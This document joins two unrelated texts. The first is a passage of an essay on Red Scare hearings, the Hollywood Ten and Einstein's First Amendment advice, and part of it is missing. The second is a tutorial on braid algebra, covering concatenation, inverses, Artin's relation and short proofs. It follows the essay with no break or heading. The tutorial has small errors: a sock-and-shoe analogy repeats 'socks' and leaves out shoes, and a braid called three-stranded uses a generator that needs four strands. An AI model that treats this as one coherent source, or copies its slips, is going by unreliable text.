Discussion about this post
First Amendment in Flux: When Free Speech Protections Came Up Against the Red Scare
Portside
portside.org
2025-11-24 06:56:09
First Amendment in Flux: When Free Speech Protections Came Up Against the Red Scare
Ira
Mon, 11/24/2025 - 01:56
...
Hollywood screenwriter Samuel Ornitz speaks before the House Un-American Activities Committee in Washington, D.C., on Oct. 29, 1947. | UPI/Bettmann Archive via Getty Images
Yet, the First Amendment has not always been potent enough to protect the right to speak. The Cold War presented one such moment in American history, when the freedom of political expression collided with
paranoia over communist infiltration
.
In 1947, the
House Un-American Activities Committee
subpoenaed 10 screenwriters and directors
to testify about their union membership and alleged communist associations. Labeled the
Hollywood Ten
, the defiant witnesses – Alvah Bessie, Herbert Biberman, Lester Cole, Edward Dmytryk, Ring Lardner Jr., John Howard Lawson, Albert Maltz, Samuel Ornitz, Adrian Scott and Dalton Trumbo – refused to answer questions on First Amendment grounds. During his dramatic testimony, Lawson proclaimed his intent “to fight for the Bill of Rights,” which he argued the committee “was trying to destroy.”
The conviction and incarceration of the Hollywood Ten left a
chilling effect on subsequent witnesses
called to appear before congressional committees. It also established a period of repression historians now refer to as the
Second Red Scare
.
Although the freedom of speech is enshrined in the Constitution and prized by Americans, the story of the Second Red Scare shows that this freedom is even more fragile than it may now seem.
The Fifth Amendment communists
After the 1947 hearings, the term “
unfriendly
” became a label applied by the House Un-American Activities Committee and the press to the Hollywood Ten and any witnesses who refused to cooperate with the committee. These witnesses, who wanted to avoid the fate of the Hollywood Ten, began to shift away from the First Amendment as a legal strategy.
They chose instead to plead the
Fifth Amendment
, which grants people the right to protect themselves from self-incrimination. Many prominent artists during the 1950s, including playwright
Lillian Hellman
and singer and activist
Paul Robeson
, opted to invoke the Fifth when called before the committee and asked about their political affiliations.
While they could avoid contempt citations by pleading the Fifth, they could not erase the stain of perceived guilt. This legal approach became so widespread that
U.S. Sen. Joseph McCarthy
, the country’s leading anti-communist crusader, disparaged these witnesses as “
Fifth Amendment Communists
” and boasted of purging their ranks from the federal government.
Three portraits of Albert Einstein taken in Princeton, N.J., in March 1953.
AP Photo
From Fifth back to First
In 1953, the physicist Albert Einstein became instrumental in
revitalizing the force of the First Amendment
as a rhetorical and legal tactic in the congressional hearings. Having fled Germany after the Nazis came to power, Einstein took a position at Princeton in 1933 and became an important voice in American politics.
In April of that year, Frauenglass was subpoenaed to appear before the Senate Internal Security Subcommittee, “
the Senate counterpart
” of the House Un-American Activities Committee, to testify about his involvement in an intercultural education seminar. After the hearing, in which Frauenglass declined to speak about his political affiliations, he risked potential termination from his position and wrote to Einstein seeking support.
While Einstein advised noncompliance, he also
acknowledged the potential risk
: “Every intellectual who is called before one of the committees ought to refuse to testify, i.e., he must be prepared for jail and economic ruin, in short, for the sacrifice of his personal welfare in the interest of the cultural welfare of his country.”
Frauenglass shared his story with the press, and
Einstein’s letter was published in full
in The New York Times on June 12, 1953. It was also quoted in local papers around the country.
One week later, Frauenglass was fired from his job.
After learning about Einstein’s public position, McCarthy labeled the Nobel laureate “
an enemy of America
.” That didn’t stop Einstein’s campaign for freedom of expression. He continued to encourage witnesses to rely on the First Amendment.
When the engineer
Albert Shadowitz received a subpoena in 1953
to appear before McCarthy’s Senate Permanent Subcommittee on Investigations, to answer questions about alleged ties to the Communist Party, he traveled to Einstein’s home to seek out the physicist’s advice. After consulting with Einstein, Shadowitz opted for the First Amendment over the Fifth Amendment.
On Dec. 16, 1953,
Shadowitz informed the committee
that he had received counsel from Einstein. He then voiced his opposition to the hearing on the grounds of the First Amendment: “I will refuse to answer any question which invades my rights to think as I please or which violates my guarantees of free speech and association.”
He was cited for contempt in August 1954 and indicted that November, facing a potential year in prison and US$1,000 fine. As an indicator of McCarthy’s diminishing power, the charge was thrown out in July 1955 by a federal judge.
Singer Paul Robeson appears before the House Un-American Activities Committee in Washington, D.C., in 1956.
Bettmann Archive/Getty Images
The triumph of dissent
Well-known public figures also began to turn away from the Fifth Amendment as a legal tactic and to draw on the First Amendment.
In August 1955, when the
folk musician Pete Seeger
testified before the House Un-American Activities Committee, he voiced his rejection of the Fifth Amendment defense during the hearing. Seeger asserted that he wanted to use his testimony to call into question the nature of the inquiry altogether.
Pleading the protection of the First Amendment,
Seeger refused
“to answer any questions” related to his “political beliefs” and instead interrogated the committee’s right to ask such questions “under such compulsion as this.”
When the
playwright Arthur Miller
was subpoenaed by the committee in 1956, he also refused to invoke the Fifth. Both were cited for contempt. Seeger was sentenced to a year in prison. Miller was given the option to pay a $500 dollar fine or spend 30 days in jail.
As Seeger and Miller fought their appeals in court, McCarthy’s popularity continued to wane, and public sentiment began to shift.
Prompted by Einstein, the noncompliant witnesses in the 1950s reshaped the public discussion, refocusing the conversation on the importance of freedom of expression rather than the fears of imagined communist infiltration.
Although the First Amendment failed to keep the Hollywood Ten out of prison, it ultimately prevailed. Unlike the Hollywood Ten, both Miller and Seeger won their appeals. Miller spent no time in prison and Seeger only one day in jail. Miller’s conviction was reversed in 1958, Seeger’s in 1962. The Second Red Scare was over.
As the Second Red Scare shows, when free speech is under attack, strategic compliance may be useful for individuals. However, bold and courageous acts of dissent are critical for protecting First Amendment rights for everyone.
Whether in the context of hairstyles, friendship bracelets, or even parachute cords -- most will be familiar with the notion of a braid.
As can be seen in the images above, each braid starts with some number of strands which are repeatedly crossed under/over each other in some way. Note that we typically don't allow the strands of a braid to "turn back up".
We can represent the particular crossings of a braid with a braid diagram like the one shown below. Note the diagram shown describes a braid similar to (but longer than) the hair braid above.
Of course, other braids will have a different number of strands and/or a different sequence of crossings. Some may even include sequences of crossings that don't even repeat, such as the one shown below:
Taking inspiration from braids in the real world, "tugging" on the strands in one direction or another -- even when new crossings result (as long as we don't allow any one strand to pass through another) -- can lead to different representations of what is essentially the same braid. As an example, consider the following two diagrams which actually represent the same braid.
While the two braid diagrams above represent the same braid, certainly the one on the left seems "simpler" in some capacity. This raises the question: "
How does one simplify a given braid diagram?
" Remember this question -- we'll come back to it in a bit.
Admittedly, drawing braid diagrams like the ones previously seen -- and especially when they are not fully simplified -- can be tedious. However, there is a much easier way to represent braids!
Towards this end, observe that if we "tug" in just the right places, we can always jiggle any particular crossing a little bit to the left or right, as desired. In this way, we can arrange any braid (with a finite number of crossings, anyways) so that no two crossings happen simultaneously as we scan the braid from left to right.
As an example, consider the braid diagram involving 5 strands presented earlier, which is shown again below on the left. Numbers and vertical lines have been added to help make the positions of the crossings easier to identify.
In the diagram below on the left, multiple crossings sometimes happen simultaneously between consecutive pairs of vertical lines. For example, between the first pair of vertical lines, the strands at positions $1$ and $2$ cross (red and green) and the strands at positions $3$ and $4$ cross (blue and orange). Similarly, between the second pair of vertical lines, the strands at positions $1$ and $2$ again cross (green and red) and the strands at positions $4$ and $5$ cross (blue and black).
However, with a bit of tugging on the strands we can ensure only one crossing happens at a time as we move from left to right along the braid. Notice how in the diagram on the right the initial red/green crossing has been jiggled a bit to the left and the initial blue/orange crossing has been jiggled a bit to the right. In this way, the red/green crossing now happens first, and the blue/orange crossing now happens second.
Indeed, once things have been "jiggled" in this way, what we see happening between pairs of consecutive lines reduces down to just a few simple possibilities for $5$ strands (there would of course be more if there were more strands involved):
Importantly, if we have names for these possibilities (above we have used $a$ through $h$), then we can describe the braid in question with a simple sequence of letters. So for example, using the above we might identify the braid we've been discussing with the following sequence of letters (also known as a "word"):
$$aeahchchedh$$
As much as this can help reduce the tedium of describing a braid from drawing a complicated picture to just writing down a sequence of letters -- implicit in the above is an even greater revelation. Notice it suggests a natural way to combine two braids together to produce a new (longer) braid -- through
concatenation
!
Consider the two small braids below, which are combined by concatenating the second to the first to form a longer braid. Note, we'll use the "$*$" operator to indicate the action of concatenation:
One should note that for two braids on the same number of strands, we can always combine them in this way to get another braid (again with the same number of strands).
In general, when combining two things of the same "type" (e.g., two braids on $n$ strands) via some operation (e.g., concatenation) and the result is always of the same type, we say the "things" of this type under the associated operation are
closed
(or equivalently, that they satisfy the property of
closure
with respect to that operation). To understand the word choice here, note that the combination of any two braids by concatenation will never be anything besides another braid -- a flamingo, for example. Combinations of braids must stay in the "braid universe". We can't get to the universe of flamingos if concatenating is all we can do. The flamingo universe is inaccessible -- it is "closed off" from us.
Closure will become very important to us later, but just to mention a couple of specific examples to reinforce the idea: Note that even integers are closed with respect to addition, but odd integers are not. Similarly integers are closed with respect to multiplication, but not with respect to division.
Turning attention back to braids -- note that denoting the result of concatenating braids $B_1$ and $B_2$ with $B_1 * B_2$ subtly suggests this operation of concatenation behaves in a way similar to real number multiplication. The use of an asterisk "*" after all is a frequent way to denote a product (especially in programming).
Let's think about that for a moment -- what exactly do we mean by "behaves in a way similar to real number multiplication"? The real numbers are certainly closed under multiplication, but surely we must mean more than that! As we mull over the various properties we know multiplication of real numbers enjoy -- ones we hope braids under concatenation will also enjoy -- we might find it promising to ask the following questions to this end:
Is braid concatenation associative?
Recall, this is certainly a property of real-number multiplication: $(ab)c = a(bc)$
Is there an identity braid?
That is to say, is there something that functions like the real number $1$ with respect to multiplication, in that for any real number $x$, we have $x \cdot 1 = 1 \cdot x = x$? (i.e., some special value that when we multiply some other value by it (or vice-versa), that other value's "identity" is preserved)
Do braids have inverses?
We certainly have multiplicative inverses for real numbers (provided they aren't zero). That is, there is a real-number $x^{-1}$ for every non-zero real number $x$ (namely $x^{-1} = 1/x$) where the products $x \cdot x^{-1}$ and $x^{-1} \cdot x$ both equal the multiplicative identity, $1$.
Let us consider each of these in turn. For convenience, for the second and third questions, we'll assume the number of strands involved is $4$, but generalizations to some other number of strands should be both natural and (hopefully) obvious.
Q: Is braid concatenation associative?
That is to say, for any three braids $B_1$, $B_2$, and $B_3$, are $(B_1 * B_2) * B_3$ and $B_1 * (B_2 * B_3)$ always the same braid?
Absolutely! This is an immediate result of how concatenation works. We don't even need to consider any specific braids to see this. Just let the yellow, pink, and green rectangles below represent arbitrary braids $B_1$, $B_2$, and $B_3$, respectively.
Q: Is there an identity braid?
Again, recall the multiplicative identity for real numbers is the value $1$ as we can multiply any real value by $1$ (or vice-versa) and leave it unchanged. Notice this works in both directions -- that is to say, for any real value $x$, it is true that $x \cdot 1 = 1 \cdot x = x$.
Similarly, the additive identity for real numbers is the value $0$ as we can add $0$ to any real value $x$ and leave it unchanged. (Again, reversing the order from $x+0$ to $0+x$ has no impact -- both result in $x$.)
If we seek an identity braid with respect to concatenation, then we seek a braid that could be concatenated to any other braid (on either side) and leave its sequence of crossings unchanged.
Consider that unique braid on some number of strands, $I$, that has no crossings at all!
As the below clearly suggests, concatenating such a braid $I$ to any other braid $B$ (with the same number of strands, of course) leaves $B$ essentially unchanged (i.e., the strands might be a tad longer, but the crossings are all still intact, ant that's what's important).
The reverse is easily shown to hold as well (i.e., $I * B = B$ for any braid $B$).
As such, the braid $I$ on $n$ strands with no crossings serves as an identity for the concatenation of braids on $n$ strands.
Q: Do braids have inverses?
Here again, let us restrict our attention to "braids on $n$ strands" for a particular $n$.
Following the pattern of multiplicative inverses discussed earlier, we then seek for any such braid $B$ an inverse $B^{-1}$ where
$B * B^{-1} = I$ and $B^{-1} * B = I$ (assuming $I$ denotes the braid identity)
Remember the simple braids that we previously used to identify a braid of $5$ strands with a sequence of letters? Here's a similar set of braids for braids of $4$ strands:
Regardless of the number of strands involved, notice that these always occur in pairs where the same two strands cross -- with one with one strand on top and the other where the other strand is on top. Indeed, each of these pairs is an
inverse pair
, as suggested by the names given to the six simple braids immediately above. After concatenating each such pair, only a couple of tugs on the strands are needed to simplify the result to the identity braid $I$ (on $n$ strands), as the below demonstrates for one such pair:
Just to be explicit about the naming convention adopted above, note that for any $i = 1,2,3,\ldots$, we let $x_i$ denote the braid where strands at positions $i$ and $i+1$ cross, with the strand at position $i$ going "over" the strand at position $i+1$. We denote the inverse of $x_i$ by $x_i^{-1}$, where the strand at position $i$ goes "under" the strand at position $i+1$. As a matter of verbiage, we call the set of all such $x_i$ and their inverses the
elementary braids
on $n$ strands.
Armed now with these inverse pairs of elementary braids, we can build inverses for more complicated braids.
We can think of the individual crossings as actions taken on the strands that change their state, much like the individual actions of putting on one's socks, shoes, and rain boots (which go over one's shoes) each change the state of your feet. The inverse action to some combination of these can be found by "undoing" each individual action, but in reverse.
Suppose one puts on one's socks, and then shoes, and then rain boots, in that order.
We could consider other orders, but are likely to over-stretch our socks in doing so.
😆 To undo this combination of three individual actions (returning one's feet to their bare state), one removes the rain boots, then removes one's socks, then removes one's socks. (Note the reverse order!)
Likewise, if we apply elementary braids $x_1$, $x_3^{-1}$, and $x_2$ in that order, we can undo them by applying their inverses $x_2^{-1}$, $x_3$, and then $x_1^{-1}$, in this reversed order.
Below are the braid diagrams for concatenation and simplification of the example just described. Note that, given how far this similarity between braid concatenation and real number multiplication seems to be going, we'll go ahead and adopt some additional notational conventions often used for products.
Specifically -- just as we often abbreviate $a \cdot b$ with $ab$ when dealing with products of real numbers $a$ and $b$ -- we'll often omit the "$*$" operator between variables representing braids (elementary or otherwise), leaving their concatenation assumed by their adjacency. We may also now start referring to such concatenations as "braid products", or simply "products" when the context is clear.
As you consider the braid product being simplified below, note how we take advantage of the associativity of braid concatenation to evaluate the product of the center-most two elementary braids at each step -- which, being an inverse pair, results in the identity braid $I$ which can then be removed as it has no effect (except the last $I$, of course).
Of course, we could imagine untangling the initial concatenation by visualizing tugging some of the strands up or down at key moments to reduce the number of crossing too. However, the advantage of using the properties of inverses and identities to get from one step to the next is that we no longer really need the pictures (which were cumbersome to draw in the first place) -- we can proceed to simplify things in a completely algebraic way, as shown next.
As you consider the concatenation of braids $x_1 x_3^{-1} x_2$ and $x_2^{-1} x_3 x_1^{-1}$ below and its (algebraic) simplification, notice that we have initially added parentheses around each, so that we can more easily see what is being concatenated at the moment. Of course, using parentheses in this way again mirrors yet another familiar way we often write products of real numbers. For example, $6 = (2)(3)$.
$$\begin{array}{rcl}
(x_1 x_3^{-1} x_2)(x_2^{-1} x_3 x_1^{-1}) & = & x_1 x_3^{-1} x_2 x_2^{-1} x_3 x_1^{-1}\\
& = & x_1 x_3^{-1} (x_2 x_2^{-1}) x_3 x_1^{-1}\\
& = & x_1 x_3^{-1} I x_3 x_1^{-1}\\
& = & x_1 x_3^{-1} (I x_3) x_1^{-1}\\
& = & x_1 x_3^{-1} x_3 x_1^{-1}\\
& = & x_1 (x_3^{-1} x_3) x_1^{-1}\\
& = & x_1 I x_1^{-1}\\
& = & x_1 (I x_1^{-1})\\
& = & x_1 x_1^{-1}\\
& = & I
\end{array}$$
In truth, the above is a bit verbose -- showing all the intermediate steps each time an inverse pair produces an identity braid $I$, which then combines with whatever comes next to leave only whatever comes next.
In practice, this combination of steps is so common we often omit this level of detail when writing the steps taken to simplify a braid -- writing only something similar to the below (which one will notice mirrors the "braid words" given with the pictures above):
There is precedence for this. Consider the steps taken as one simplifies the fraction $\frac{ab}{b}$ (where $b \neq 0$), which are shown below. (Remember that $\frac{b}{b}$ equals the value $1$, the multiplicative "identity"):
$$\frac{ab}{b} = a \cdot \frac{b}{b} = a \cdot 1 = a$$
Something like this happens every time one cancels a common factor in the numerator and denominator of a fraction -- but we often skip all that detail, writing only
$$\frac{ab}{b} = a$$
Braid Multiplication and Commutativity
The above clearly establishes there is some sort of "multiplicative arithmetic" we can apply to braids, but we must be careful to not let our analogy go too far. One significant difference between braid multiplication and the multiplication of numerical values with which we are well familiar is that braid multiplication is not generally commutative.
That is to say, we don't always have $B_1 B_2 = B_2 B_1$ for any braids $B_1$ and $B_2$.
As a simple example of this, consider the following two braids. Notice the first "product" on the right can't be simplified to the second. For example, the strand initially at position $1$ ends up in position $4$ in the first product, but not in the second.
The lack of general commutivity for braid products certainly decreases the ease with which we may manipulate braids, but as Alexander Graham Bell once said: "When one door closes, another opens."
Special pairs of braids do actually enjoy commutativity. One can easily see how the identity braid $I$, and any other braid will commute. The same can be said of inverse pairs. Interestingly, "distant" elementary braids also commute. That is to say, adjacent elementary braids $x_i$ and $x_j$ will commute if they are far enough apart that they don't involve a common strand position. Noting that this only happens when $i$ and $j$ are at least two positions apart, we can equivalently say for adjacent elementary braids $x_i$ and $x_j$:
$$x_i x_j = x_j x_i \textrm{ when } |i-j| \ge 2$$
This is perhaps easier to understand with an example. Note in the diagram below, we can change the order of the pink elementary braids without effectively changing the overall braid. However, if we change the order of the yellow elementary braids, the overall braid is a different braid.
Artin's Relation
Emil Artin
Named after Emil Artin, one of the leading mathematicians of the twentieth century and who developed the theory of braids as a branch of an area in mathematics known as algebraic topology, Artin's relation provides the last piece of the puzzle when establishing the strange arithmetic of braids.
With a little mental "tugging" on the strands below, one should easily be able to convince oneself that this relation holds for elementary braids $x_i$ and $x_{i+1}$ multiplied (i.e., concatenated) in the given way.
What is important, however, is that this special braid relation will allow us to manipulate braids now in a completely algebraic way -- never having to draw pictures like those above, if desired.
We have seen that braids on $n$ strands can be represented by algebraic expressions/words consisting of concatenations of elementary braids $x_1,x_2,x_3,\ldots,x_{n-1}$ and/or their inverses $x_1^{-1},x_2^{-1},x_3^{-1},\ldots,x_{n-1}^{-1}$.
These braid expressions are not unique to a given braid, however. We can certainly show two braid words represent the same braid by drawing pictures of each and "tugging" the strands this way and that until these pictures are identical. However, the equality of two braid words can also be shown by applying algebraic manipulations to one to produce the other, in accordance with the following rules:
Assuming $i$ and $j$ are taken from $1,2,\ldots,n-1$ as appropriate, $B_i$ represents an arbitrary braid word, and $I$ represents the identity braid of no crossings)
Now let's put these to use! Consider the following way to simplify a braid $B$ on 3 strands where
$$B = x_3^{-1} \, x_2 \, \, x_3 \, x_2 \, x_3^{-1}$$
Note that with only three strands, we won't be able to take advantage of the commutativity of distant braids. Further, we have no inverse pairs adjacent to one another, so we can't use any inverse relations yet.
However, there is an opportunity to apply Artin's relation. Notice, once we take advantage of this, we see two inverse pairs that can then be eliminated -- greatly simplifying the resulting expression!
Knowing that intermixed elementary inverse braids $b$ and $b^{-1}$ can result in cancellations leaving a product/concatenation of $x_i$ with itself some number of times (as demonstrated in the example below), we might find it useful and more compact to abbreviate a braid $b$ (elementary or otherwise) multiplied/concatenated by itself $p$ times by $b^p$.
$$\begin{array}{rcl}
b \, b \, b \, b^{-1} \, b \, b^{-1} \, b \, b
& = & b \, b \, (b \, b^{-1}) \, (b \, b^{-1}) \, b \, b\\
& = & b \, b \, I \, I \, b \, b\\
& = & b \, b \, b \, b\\
& = & b^4
\end{array}$$
However, if the number of elementary braids of the form $b^{-1}$ exceed those of $b$ form, such products will simplify to a concatenation of $b^{-1}$ with itself some number of times (see example below). In these cases, abbreviating $(b^{-1})^p$ with $b^{-p}$ also seems natural and more compact.
$$\begin{array}{rcl}
b \, b^{-1} \, b^{-1} \, b^{-1} \, b \, b^{-1} \, b \, b^{-1}
& = & (b \, b^{-1}) \, b^{-1} \, (b^{-1} \, b) \, (b^{-1} \, b) \, b^{-1}\\
& = & I \, b^{-1} \, I \, I \, b^{-1}\\
& = & b^{-1} \, b^{-1}\\
& = & b^{-2}
\end{array}$$
Of course, there is a third possibility. It could be that pairing off the $b$ and $b^{-1}$ elementary braids and eliminating them leaves nothing but $I$ in the end, as the following suggests:
$$\begin{array}{rcl}
b \, b^{-1} \, b^{-1} \, b^{-1} \, b \, b \, b^{-1} \, b
& = & (b \, b^{-1}) \, b^{-1} \, (b^{-1} \, b) \, (b \, b^{-1}) \, b\\
& = & I \, b^{-1} \, I \, I \, b\\
& = & b^{-1} \, b\\
& = & I
\end{array}$$
Given the above, Let us now make the following two additional definitions:
$b^0 = I$
$b^1 = b$
The reason for making the last two definitions above stems from the following observation: With these two definitions, we can safely say that the following simplification rules will now
always
hold, regardless of what integers $p$ and $q$ are involved! (Note that without these definitions, products like $x_i^3 x_i^{-3}$ or $x_i^3 x_i^{-2}$ can't be simplified with these rules.)
$b^p \, b^q = b^{p+q}$
(add exponents when multiplying powers)
$(b^p)^q = b^{pq}$
(multiply exponents when finding a power of a power)
Just for clarity, please know that the above examples and rules hold for
any
braid $b$, including elementary braids of the form $b = x_i$ or $b = x_i^{-1}$. As examples, it must be the case by the last two rules that $x_4^3 x_4^5 = x_4^8$ and $(x_2^7)^3 = x_2^{21}$
Noting that the first rule (the one about adding exponents) forces $b^p \, b^{-q} = b^{p-q}$ to also be true for any integers $p$ and $q$.
Taking things one step further, recall that the division of one real number by another is equivalent to multiplying the first by the reciprical (i.e., the multiplicative inverse) of the second. In a parallel way, we can define and denote the "division of one braid by another" (and the equivalent "fraction of braids") in the following way:
$$b_1 \div b_2 = \frac{b_1}{b_2} = b_1 b_2^{-1}$$
Doing this leads to even more results for general braids which mirror the standard exponent rules with which the reader might already be familiar.
$\displaystyle{\frac{b^p}{b^q} = b^{p-q}}$
(subtract exponents when dividing powers)
$\displaystyle{b^{-p} = \frac{I}{b^p}}$
(negative exponents produce recipricals of powers)
To see why, consider replacing $I$ with $b^0$.
$\displaystyle{\frac{I}{b_i b_j} = b_j^{-1} b_i^{-1}}$
(to invert a product, invert each and combine in reverse order)
Consider $x_i x_j x_j^{-1} x_i^{-1}$.
We'll have more to say about the aforementioned standard exponent rules soon -- and why there is such a strong parallel between these and the rules we are developing for braids (and other things we will learn about shortly). For now however, let us push things even farther...
Note that we can say even more for
commutative
braids $b_i$ and $b_j$ or their inverses (e.g., "distant" elementary braids $x_i$ and $x_j$, where $|i-j| \ge 2$ or inverse pairs). In particular, for all integers $p$ the following simplification rules also must apply:
$(b_i b_j)^p = b_i^p b_j^p$
(exponents distribute over products of commutative elementary braids)
$\displaystyle{\left( \frac{b_i}{b_j} \right)^p = \frac{b_i^p}{b_j^p}}$
(exponents distribute over quotients of commutative elementary braids)
If $b_1$, $b_2$, $b_3$, and $b_4$ are all pairwise commutative, then
$\displaystyle{\frac{b_1 b_2}{b_3 b_4} = \frac{b_1}{b_3} \cdot \frac{b_2}{b_4}}$
(quotients of products can be expressed as products of quotients)
To see how commutativity plays a role in these two rules, note that to establish the first (i.e., exponents distribute over products) we can use commutivity to get all the $x_i$ expressions together to consolidate them into a single power, as shown in the following example (look carefully between the 3rd and 4th expressions)::
$$(b_i b_j)^2 = (b_i b_j)(b_i b_j) = b_i b_j b_i b_j = b_i b_i b_j b_j = b_i^2 b_j^2$$
Then, we can use the first rule to prove the second (i.e., where exponents are seen to distribute over quotients):
$$\left(\frac{b_i}{b_j}\right)^2 = (b_i b_j^{-1})^2 = b_i^2 b_j^{-2} = \frac{b_i^2}{b_j^2}$$
As for the last rule, note how commutativity allows us to get from the third expression below to the fourth:
$$\frac{b_1 b_2}{b_3 b_4} = b_1 b_2 (b_3 b_4)^{-1} = b_1 b_2 b_4^{-1} b_3^{-1} = b_1 b_3^{-1} b_2 b_4^{-1} = \frac{b_1}{b_3} \cdot \frac{b_2}{b_4}$$
Just be careful -- don't use any of these or other rules that rely on commutativity holding when it fails to hold!
Braid Theorems
While the results and definitions in the last section will let us prove certain pairs of braid expressions describe the same braid, sometimes doing so by direct application of these results and definitions can be quite long and tedius -- especially when we find ourselves applying the same sequence of manipulations over and over again. This of course is one reason why we prove theorems in mathematics -- to let us jump over all that repetition and make a useful (read that as "usable in many different contexts") conclusion from some given knowledge. We only need to prove the theorem in question holds.
As an example, for any given positive integer $i$, note how we can justify the following sequence of manipulations with what we know already:
$$\begin{array}{rcll}
x_i \, x_{i+1} \, x_i^{-1}
& = & I \, x_i \, x_{i+1} \, x_i^{-1} & \scriptsize{\textrm{a property of the identity braid}}\\
& = & (x_{i+1}^{-1} \, x_{i+1}) \, x_i \, x_{i+1} \, x_i^{-1} & \scriptsize{\textrm{using inverse braids to form a "well-chosen value of "} I}\\
& = & x_{i+1}^{-1} \, (x_{i+1} \, x_i \, x_{i+1}) \, x_i^{-1} & \scriptsize{\textrm{associativity of braid concatenation}}\\
& = & x_{i+1}^{-1} \, (x_i \, x_{i+1} \, x_i) \, x_i^{-1} & \scriptsize{\textrm{Artin's Relation}}\\
& = & x_{i+1}^{-1} \, x_i \, x_{i+1} \, (x_i \, x_i^{-1}) & \scriptsize{\textrm{associativity of braid concatenation}}\\
& = & x_{i+1}^{-1} \, x_i \, x_{i+1} \, I & \scriptsize{\textrm{cancellation of inverse braids}}\\
& = & x_{i+1}^{-1} \, x_i \, x_{i+1} & \scriptsize{\textrm{a property of the identity braid}}\\
\end{array}$$
For lack of a better name, let us call this "Braid Theorem 1". That is to say,
Braid Theorem 1
For any positive integer $i$, the following will always be equivalent:
$x_i \, x_{i+1} \, x_i^{-1} = x_{i+1}^{-1} \, x_i \, x_{i+1}$
Having now proven this theorem, we can employ it in future manipulations. For example, suppose we were trying to decide if the following two braid words represent the same braid:
$$x_2 \, x_3^{-1} \, x_2 \, x_2 \, x_3 \, x_2^{-1} \quad \stackrel{\text{?}}{=} \quad x_2 \, x_3^{-1} \, (x_3^{-1} \, x_3) \, x_2 \, x_3^{-1} \, x_2 \, x_3$$
With the theorem we just proved, we can prove they are equivalent in just 4 steps instead of the 10 steps it would require without it!
$$\begin{array}{rcll}
x_2 \, x_3^{-1} \, x_2 \, x_2 \, x_3 \, x_2^{-1}
& = & x_2 \, x_3^{-1} \, x_2 \, (x_2 \, x_3 \, x_2^{-1}) & \scriptsize{\textrm{associativity of braid concatenation}}\\
& = & x_2 \, x_3^{-1} \, x_2 \, (x_3^{-1} \, x_2 \, x_3) & \scriptsize{\textrm{braid theorem 1}}\\
& = & x_2 \, x_3^{-1} \, I \, x_2 \, x_3^{-1} \, x_2 \, x_3 & \scriptsize{\textrm{a property of the identity braid}}\\
& = & x_2 \, x_3^{-1} \, (x_3^{-1} \, x_3) \, x_2 \, x_3^{-1} \, x_2 \, x_3 & \scriptsize{\textrm{using inverse braids to form a "well-chosen value of "} I}\\
\end{array}$$
Of course, proving some theorems can lead to wondering about others. For example, the expressions involved in the statement of Braid Theorem 1 are reminiscent of those in Artin's Relation -- except for the presence of an inverse elementary braid. What happens if the inverse elementary braid is in a different location -- say, on the first $x_i$ instead of the second? Because it would be "pretty" (due to the inherent symmetry involved), we might even hope that the following turns out to be true -- that for every positive integer $i$, we have $x_i^{-1} \, x_{i+1} \, x_i = x_{i+1} \, x_i \, x_{i+1}^{-1}$.
If this were true, we could remember both results as essentially an "Artin-like manipulation with a move of the inverse from one side to the other".
Of course, we don't know if this result holds yet -- we are only hopeful. We must prove it works for any positive integer $i$ before we can use it.
Let's try to argue similarly to how the last one was argued:
$$\begin{array}{rcll}
x_i^{-1} \, x_{i+1} \, x_i
& = & x_i^{-1} \, x_{i+1} \, x_i \, I & \scriptsize{\textrm{a property of the identity braid}}\\
& = & x_i^{-1} \, x_{i+1} \, x_i \, (x_{i+1} \, x_{i+1}^{-1}) & \scriptsize{\textrm{using inverse braids to form a "well-chosen value of "} I}\\
& = & x_i^{-1} \, (x_{i+1} \, x_i \, x_{i+1}) \, x_{i+1}^{-1} & \scriptsize{\textrm{associativity of braid concatenation}}\\
& = & x_i^{-1} \, (x_i \, x_{i+1} \, x_i) \, x_{i+1}^{-1} & \scriptsize{\textrm{Artin's Relation}}\\
& = & (x_i^{-1} \, x_i) \, x_{i+1} \, x_i \, x_{i+1}^{-1} & \scriptsize{\textrm{associativity of braid concatenation}}\\
& = & I \, x_{i+1} \, x_i \, x_{i+1}^{-1} & \scriptsize{\textrm{cancellation of inverse braids}}\\
& = & x_{i+1} \, x_i \, x_{i+1}^{-1} & \scriptsize{\textrm{a property of the identity braid}}\\
\end{array}$$
Voila! We have shown that which we hoped to demonstrate -- we have proven our result!
By the way, in math textbooks one often sees the letters "QED." written at the end of a proof. This is merely an acronym for the Latin phrase "quod erat demonstrandum" which means "which was to be demonstrated".
Let us refer to this new theorem with an equally imaginative name -- say, "Braid Theorem 2":
Braid Theorem 2
For any positive integer $i$, the following will always be equivalent:
$x_i^{-1} \, x_{i+1} \, x_i = x_{i+1} \, x_i \, x_{i+1}^{-1}$
This is essentially how theorems in mathematics (involving braids or otherwise) get developed. First, somebody makes a good guess as to what they think should hold. Sometimes, this stems from some desire for the world to be "pretty" or symmetric. Other times, one makes some conjecture based on patterns they see hold in specific examples. Then, they try to form an argument that connects what they know to what they hope to show -- one that can be justified at every step and turn by things already accepted as true (e.g., definitions, postulates, other previously-proven theorems, etc).
One often tries to base these arguments on tricks or techniques that have worked in the past, much as we used the proof of Braid Theorem 1 as a guide to proving Braid Theorem 2. In this sense, mathematicians can build both on their own experience and on that of others. Interestingly however, the real fun for mathematicians begins when things they or others have used in the past fail to work! Working hard to find a new "wrinkle" on an old technique or creating a brand new way to argue something altogether -- that's where things get exciting!
Sadly, the presentation of theorems and their proofs in textbooks often leave out any discussion of the "blood, sweat, and tears" that went into a proof's initial construction. If you are lucky, they might briefly discuss the inspiration for the creative argument, but almost never explicitly address the author's excitement upon discovering that their novel approach bore fruit. Instead, the proof is often simply written as efficiently as possible -- often even omitting things deemed "easy enough" for the reader to fill in.
Part of this is to draw the reader's attention to the interesting (perhaps novel?) steps.
Sgt. Joe Friday
Another part of this is to not bias the reader to a particular line of conjecture and discovery, providing instead -- as a certain famed sergeant from the 1950's television show
Dragnet
would often say when questioning women as part of his police investigation:
"
Just the facts, ma'am.
" -- Sgt. Joe Friday
Perhaps the greatest motivation for this habit however, lies in the very thing that drove us to develop braid words and the above algebra they afford in the first place. In this, and in many, many more examples in the future, we will see that mathematicians seem to work very hard in everything they do to save themselves effort in the future. This includes being as brief and efficient as possible with anything they write.
As an example of this less verbose way of introducing a theorem and its proof, consider the following:
Braid Theorem 3
For any positive integer $i$, the following will always be equivalent:
$x_i x_{i+1}^{-1} x_i^{-1} = x_{i+1}^{-1} \, x_i^{-1} \, x_{i+1}$
Notice in the above how the steps involving concatenation with $I$ were left out, much like one rarely writes a "multiplication by 1". Also, the more common applications of associativity or properties of inverses were left implicit, while the use of braid theorem 2 (i.e., the interesting step) was highlighted.
